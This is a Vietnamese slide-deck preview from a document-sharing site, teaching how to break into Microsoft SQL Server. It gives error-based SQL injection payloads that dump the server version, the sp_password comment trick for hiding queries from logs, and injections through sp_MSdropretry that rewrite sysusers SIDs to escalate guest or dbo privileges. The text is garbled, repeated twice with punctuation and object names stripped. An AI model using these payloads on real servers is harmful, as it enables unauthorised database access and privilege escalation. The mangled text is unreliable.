tailieunhanh - Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database

Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database PHẦN I: CÁC KĨ THUẬT HACK TRONG SQL • sql-injection • convert-magic • cross-database PHÁT HIỆN LỖI SQL-INJECTION select price from product where id=1 ’ select price from product where id=1’ Unclosed quotation mark before the character string ‘ [.] KĨ THUẬT CONVERT-MAGIC and 1=convert(int,@@version) --sp_password select price from product where id=1 and 1=convert(int,@@version)--sp_password Syntax error converting the nvarchar value 'Microsoft SQL Server - (Intel X86) Nov 23 1998 21:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT (Build 2195: Service Pack 3)' to a column of. | Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection Cross-Database PHẦN I CÁC KĨ THUẬT HACK TRONG SQL sql-injection convert-magic cross-database PHÁT HIỆN LỖI SQL-INJECTION http product id 1 select price from product where id 1 http product id 1 select price from product where id 1 Unclosed quotation mark before the character string http product id . KĨ THUẬT CONVERT-MAGIC http product id 1 and 1 convert int @@version --sp_password select price from product where id 1 and 1 convert int @@version --sp_password Syntax error converting the nvarchar value Microsoft SQL Server - Intel X86 Nov 23 1998 21 08 09 Copyright c 1988-1998 Microsoft Corporation Standard Edition on Windows NT Build 2195 Service Pack 3 to a column of data type int. sp_password was found in the text of this The text has been replaced with this comment for security reasons. @@servername db_name system_user . LỖI CROSS-DATABASE CỦA MS-SQL use testdatabase create proc as select from go exec test select from sa dbo db_owner có thể create design các object của dbo SID của proc SID của LỖIINJECTION CỦA CREATE PROCEDURE sp_MSdropretry @tname sysname @pname sysname as declare @retcode int To public exec drop table @tname if @@ERROR 0 return 1 exec drop procedure @pname if @@ERROR 0 return 1 return 0 NÂNG QUYỀN QUA MSDROPRETRY exec sp_executesql N create view as select from exec sp_msdropretry xx update sysusers set sid 0x01 where name dbo xx exec sp_msdropretry xx update set sid 0x01 roles 0x01 where name guest xx exec sp_executesql N drop view drop table xx update sysusers set sid 0x01 where name dbo drop procedure xx drop table xx update set sid 0x01 roles 0x01 where name guest drop table xx guest db_owner của .